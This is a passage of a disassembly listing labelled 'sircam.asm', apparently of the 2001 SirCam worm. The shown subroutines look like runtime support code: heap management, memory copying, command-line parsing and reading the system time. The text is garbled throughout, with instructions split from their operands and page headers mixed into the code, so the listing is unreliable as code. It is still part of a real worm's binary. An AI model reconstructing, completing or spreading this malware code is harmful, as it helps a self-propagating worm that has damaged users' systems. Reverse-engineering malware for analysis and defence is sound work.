ds:dword_41E484 short loc_402433 eax, ds:dword_41E480 eax, [esp+8+var_4] short loc_40242A eax, [esp+8+var_4] ds:dword_41E480, eax eax, [esp+8+var_4] ds:dword_41E484, eax ds:dword_41E480, 0Ch sircam.asm Fri Aug 10 12:42:44 2001 jge mov add add xor mov 37 short loc_40240C eax, ds:dword_41E480 ds:dword_41E484, eax esi, ds:dword_41E480 eax, eax ds:dword_41E480, eax loc_40240C: ; CODE XREF: sub_402304+EE\030j mov eax, esi sub eax, edi add ds:dword_41E420, eax mov eax, [ebp+0] and eax, 80000003h or esi, eax mov [ebp+0], esi mov al, 1 jmp loc_4024CC ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40242A: ; CODE XREF: sub_402304+D1\030j call mov add sub_401D80 ebx, ebp ebx, edi loc_402433: ; CODE XREF: sub_402304+C6\030j test byte ptr [ebx], 2 jnz short loc_402485 mov edx, ebx mov eax, edx mov ecx, [eax+8] mov [esp+8+var_8], ecx mov ecx, [esp+8+var_8] cmp ecx, [esp+8+var_4] jge short loc_402459 add edx, [esp+8+var_8] mov ebx, edx mov eax, [esp+8+var_8] sub [esp+8+var_4], eax jmp short loc_402485 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_402459: ; CODE XREF: sub_402304+145\030j call sub_401AA8 mov eax, [esp+8+var_4] sub [esp+8+var_8], eax cmp [esp+8+var_8], 0Ch jl short loc_402479 mov eax, ebp add eax, esi mov edx, [esp+8+var_8] call sub_401CF8 jmp short loc_4024B3 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_402479: ; CODE XREF: sub_402304+165\030j add esi, [esp+8+var_8] mov ebx, ebp add ebx, esi and dword ptr [ebx], 0FFFFFFFEh jmp short loc_4024B3 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_402485: ; CODE XREF: sub_402304+132\030j ; sub_402304+153\030j mov test jz and add mov eax, [ebx] eax, 80000000h short loc_4024AF eax, 7FFFFFFCh eax, ebx ebx, eax sircam.asm Fri Aug 10 12:42:44 2001 38 mov edx, [esp+8+var_4] mov eax, ebx call sub_401E84 test al, al jz short loc_4024AF mov ebx, ebp add ebx, edi jmp loc_4023BC ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4024AF: ; CODE XREF: sub_402304+188\030j ; sub_402304+1A0\030j xor eax, eax jmp short loc_4024CC ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4024B3: ; CODE XREF: sub_402304+5D\030j ; sub_402304+77\030j ... mov sub add mov and or mov mov eax, esi eax, edi ds:dword_41E420, eax eax, [ebp+0] eax, 80000003h esi, eax [ebp+0], esi al, 1 loc_4024CC: sub_402304 ; CODE XREF: sub_402304+121\030j ; sub_402304+1AD\030j pop pop pop pop pop pop retn endp ecx edx ebp edi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_4024D4 proc near var_4 = dword ptr -4 ; CODE XREF: sub_4025B0+4\031j ; sub_4025C8+D\031j ; DATA XREF: ... push ebp mov ebp, esp push ecx push ebx push esi push edi mov esi, edx mov ebx, eax cmp ds:byte_41E428, 0 jnz short loc_4024FB call sub_401904 test al, al jnz short loc_4024FB xor eax, eax mov [ebp+var_4], eax jmp loc_40258C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4024FB: ; CODE XREF: sub_4024D4+12\030j sircam.asm Fri Aug 10 12:42:44 2001 xor push push push mov cmp jz push call 39 ; sub_4024D4+1B\030j edx, edx ebp offset loc_402585 dword ptr fs:[edx] fs:[edx], esp ds:byte_41E041, 0 short loc_40251C offset unk_41E430 j_EnterCriticalSection loc_40251C: ; CODE XREF: sub_4024D4+3C\030j mov edx, esi mov eax, ebx call sub_402304 test al, al jz short loc_40252E mov [ebp+var_4], ebx jmp short loc_402564 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40252E: ; CODE XREF: sub_4024D4+53\030j mov call mov mov sub mov and sub cmp jge mov eax, esi sub_401FD8 edi, eax eax, ebx eax, 4 eax, [eax] eax, 7FFFFFFCh eax, 4 esi, eax short loc_40254C eax, esi test jz mov mov xchg call mov call edi, edi short loc_402561 edx, edi ecx, ebx eax, ecx sub_4026B0 eax, ebx sub_402160 mov [ebp+var_4], edi xor pop pop pop mov push ; CODE XREF: sub_4024D4+58\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_40258C cmp jz push call ; CODE XREF: sub_4024D4+B6\031j ds:byte_41E041, 0 short locret_402584 offset unk_41E430 j_LeaveCriticalSection loc_40254C: ; CODE XREF: sub_4024D4+74\030j loc_402561: ; CODE XREF: sub_4024D4+7A\030j loc_402564: loc_402571: locret_402584: ; CODE XREF: sub_4024D4+A4\030j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_402585: ; DATA XREF: sub_4024D4+2A\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_402571 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm Fri Aug 10 12:42:44 2001 loc_40258C: sub_4024D4 40 ; CODE XREF: sub_4024D4+22\030j ; DATA XREF: sub_4024D4+98\030o mov pop pop pop pop pop retn endp eax, [ebp+var_4] edi esi ebx ecx ebp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_402598 proc near test jz call or jz ; CODE XREF: CODE:00402B74\031p ; sub_40358C+8\031p ... eax, eax short locret_4025A6 ds:off_41C01C eax, eax short loc_4025A7 locret_4025A6: ; CODE XREF: sub_402598+2\030j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4025A7: sub_402598 ; CODE XREF: sub_402598+C\030j mov jmp endp al, 1 sub_402618 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4025B0 proc near test jz call or jnz ; CODE XREF: sub_402B84+1D\031p ; sub_4034C8+1C\031p ... eax, eax short locret_4025BE ds:off_41C020 eax, eax short loc_4025BF locret_4025BE: ; CODE XREF: sub_4025B0+2\030j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4025BF: sub_4025B0 ; CODE XREF: sub_4025B0+C\030j mov jmp endp al, 2 sub_402618 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4025C8 proc near ; CODE XREF: sub_4039FC+22\031p ; sub_404414+B9\031p ... sircam.asm Fri Aug 10 12:42:44 2001 41 mov ecx, [eax] test ecx, ecx jz short loc_402600 test edx, edx jz short loc_4025EA push eax mov eax, ecx call ds:off_41C024 pop ecx or eax, eax jz short loc_4025F9 mov [ecx], eax retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4025E3: ; CODE XREF: sub_4025C8+2E\031j mov al, 2 jmp sub_402618 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4025EA: ; CODE XREF: sub_4025C8+8\030j mov [eax], edx mov eax, ecx call ds:off_41C020 or eax, eax jnz short loc_4025E3 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4025F9: ; CODE XREF: sub_4025C8+16\030j ; sub_4025C8+48\031j mov al, 1 jmp sub_402618 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_402600: test jz push mov call pop or jz mov ; CODE XREF: sub_4025C8+4\030j edx, edx short locret_402614 eax eax, edx ds:off_41C01C ecx eax, eax short loc_4025F9 [ecx], eax locret_402614: sub_4025C8 ; CODE XREF: sub_4025C8+3A\030j retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_402618 proc near ; CODE XREF: sub_402598+11\030j ; sub_4025B0+11\030j ... and mov test jz pop call eax, 7Fh ecx, ds:dword_41E004 ecx, ecx short loc_402628 edx ecx dec mov jns call ; CODE XREF: sub_402618+B\030j eax al, byte ptr ds:nullsub_5[eax] short loc_40263C sub_4059F0 loc_402628: sircam.asm Fri Aug 10 12:42:44 2001 mov eax, [eax+4] jmp endp sub_4034BC loc_40263C: sub_402618 42 ; CODE XREF: sub_402618+17\030j ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND] aRsu db ’ÌÈÉ×ÏÈÍÎÛØÊÙÚÜÝÞßàáã’,0 dd 8BC3E5E4h db 0C0h ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40265C proc near ; CODE XREF: CODE:00409409\031p ; sub_416478+13B\031p ... push eax push edx push ecx call sub_4059F0 cmp dword ptr [eax+4], 0 pop ecx pop edx pop eax jnz short loc_402671 retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_402671: sub_40265C ; CODE XREF: sub_40265C+12\030j xor jmp endp eax, eax sub_402618 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40267C proc near sub_40267C push call pop retn endp ; CODE XREF: CODE:00402691\031j ; CODE:00404E8C\031j ... eax sub_4059F0 dword ptr [eax+4] ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_40268C: ; CODE XREF: CODE:0040513D\031j call j_GetLastError jmp sub_40267C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_402698 proc near call sub_4059F0 xor edx, edx mov ecx, [eax+4] mov [eax+4], edx mov eax, ecx retn ; CODE XREF: sub_409608+7\031p sircam.asm sub_402698 Fri Aug 10 12:42:44 2001 43 endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4026B0 proc near ; CODE XREF: sub_4024D4+81\030p ; sub_40351C+1B\031p ... push esi push edi mov esi, eax mov edi, edx mov eax, ecx cmp edi, esi ja short loc_4026CF jz short loc_4026ED sar ecx, 2 js short loc_4026ED repe movsd mov ecx, eax and ecx, 3 repe movsb pop edi pop esi retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4026CF: ; CODE XREF: sub_4026B0+A\030j lea esi, [esi+ecx-4] lea edi, [edi+ecx-4] sar ecx, 2 js short loc_4026ED std repe movsd mov ecx, eax and ecx, 3 add esi, 3 add edi, 3 repe movsb cld loc_4026ED: sub_4026B0 ; CODE XREF: sub_4026B0+C\030j ; sub_4026B0+11\030j ... pop pop retn endp edi esi ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_4026F0 proc near var_1000 = byte ptr -1000h ; CODE XREF: sub_402768+3A\031p push ebx push esi add esp, 0FFFFF004h push eax mov esi, edx mov ebx, eax jmp short loc_402700 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4026FF: ; CODE XREF: sub_4026F0+18\031j inc ebx sircam.asm Fri Aug 10 12:42:44 2001 loc_402700: 44 ; CODE XREF: sub_4026F0+D\030j ; sub_4026F0+28\031j mov test jz cmp jbe al, [ebx] al, al short loc_40270A al, 20h short loc_4026FF loc_40270A: ; CODE XREF: sub_4026F0+14\030j cmp byte ptr [ebx], 22h jnz short loc_40271A cmp byte ptr [ebx+1], 22h jnz short loc_40271A add ebx, 2 jmp short loc_402700 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40271A: ; CODE XREF: sub_4026F0+1D\030j ; sub_4026F0+23\030j xor eax, eax jmp short loc_402743 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40271E: ; CODE XREF: sub_4026F0+5F\031j cmp dl, 22h jnz short loc_40273E inc ebx jmp short loc_40272B ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_402726: mov inc inc ; CODE XREF: sub_4026F0+44\031j [esp+eax+1000h+var_1000], dl eax ebx mov test jz cmp jnz dl, [ebx] dl, dl short loc_402736 dl, 22h short loc_402726 loc_40272B: ; CODE XREF: sub_4026F0+34\030j loc_402736: ; CODE XREF: sub_4026F0+3F\030j cmp byte ptr [ebx], 0 jz short loc_402743 inc ebx jmp short loc_402743 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40273E: mov inc inc ; CODE XREF: sub_4026F0+31\030j [esp+eax+1000h+var_1000], dl eax ebx loc_402743: ; CODE XREF: sub_4026F0+2C\030j ; sub_4026F0+49\030j ... mov cmp jbe cmp jl dl, [ebx] dl, 20h short loc_402751 eax, 1000h short loc_40271E mov mov xchg call mov add pop edx, esp ecx, esi eax, ecx sub_4035B0 eax, ebx esp, 1000h esi loc_402751: ; CODE XREF: sub_4026F0+58\030j sircam.asm sub_4026F0 Fri Aug 10 12:42:44 2001 pop retn endp 45 ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_402768 . proc near var_108 = byte ptr -108h ; CODE XREF: start+E4\031p start+300\031p .. push ebx push esi push edi add esp, 0FFFFFEF8h mov esi, edx mov ebx, eax test ebx, ebx jnz short loc_402797 push 105h lea eax, [esp+10Ch+var_108] push eax push 0 call j_GetModuleFileNameA mov ecx, eax mov edx, esp mov eax, esi call sub_4035B0 jmp short loc_4027B5 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_402797: call mov ; CODE XREF: sub_402768+F\030j j_GetCommandLineA edi, eax loc_40279E: ; CODE XREF: sub_402768+4B\031j mov edx, esi mov eax, edi call sub_4026F0 mov edi, eax test ebx, ebx jz short loc_4027B5 cmp dword ptr [esi], 0 jz short loc_4027B5 dec ebx jmp short loc_40279E ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4027B5: sub_402768 ; CODE XREF: sub_402768+2D\030j ; sub_402768+43\030j ... add pop pop pop retn endp esp, 108h edi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_4027C0 proc near ; CODE XREF: sub_41238C+17\031p sircam.asm Fri Aug 10 12:42:44 2001 var_18 var_10 var_E var_C var_A = = = = = byte word word word word sub_4027C0 push mov add lea push call movzx imul add imul xor mov add imul mov add mov mov pop retn endp ptr ptr ptr ptr ptr 46 -18h -10h -0Eh -0Ch -0Ah ebp ebp, esp esp, 0FFFFFFE8h eax, [ebp+var_18] eax j_GetSystemTime eax, [ebp+var_10] eax, 3Ch ax, [ebp+var_E] eax, 3Ch edx, edx dx, [ebp+var_C] eax, edx eax, 3E8h dx, [ebp+var_A] eax, edx ds:dword_41E03C, eax esp, ebp ebp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_4027FC: cmp jz call ; CODE XREF: sub_402C88+10\031j ; DATA XREF: CODE:0040BAA0\031o ... ds:dword_41E018, 0 short loc_40280B ds:dword_41E018 loc_40280B: ; CODE XREF: CODE:00402803\030j mov eax, 0D2h jmp sub_4034BC ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_402818 proc near push push mov xor mov mov xor mov inc add jb cmp ja esi edi edi, eax eax, eax al, [edi] esi, edx edx, edx dl, [esi] esi al, dl short loc_40283D al, cl short loc_40283D mov mov mov inc add ecx, edx dl, [edi] [edi], al edi edi, edx ; CODE XREF: sub_41620C+65\031p ; sub_41620C+8D\031p ... loc_40282F: ; CODE XREF: sub_402818+2D\031j sircam.asm Fri Aug 10 12:42:44 2001 47 repe movsb loc_40283A: ; CODE XREF: sub_402818+29\031j pop edi pop esi retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40283D: sub_402818 ; CODE XREF: sub_402818+11\030j ; sub_402818+15\030j mov sub jbe mov jmp endp al, cl cl, [edi] short loc_40283A dl, cl short loc_40282F ; 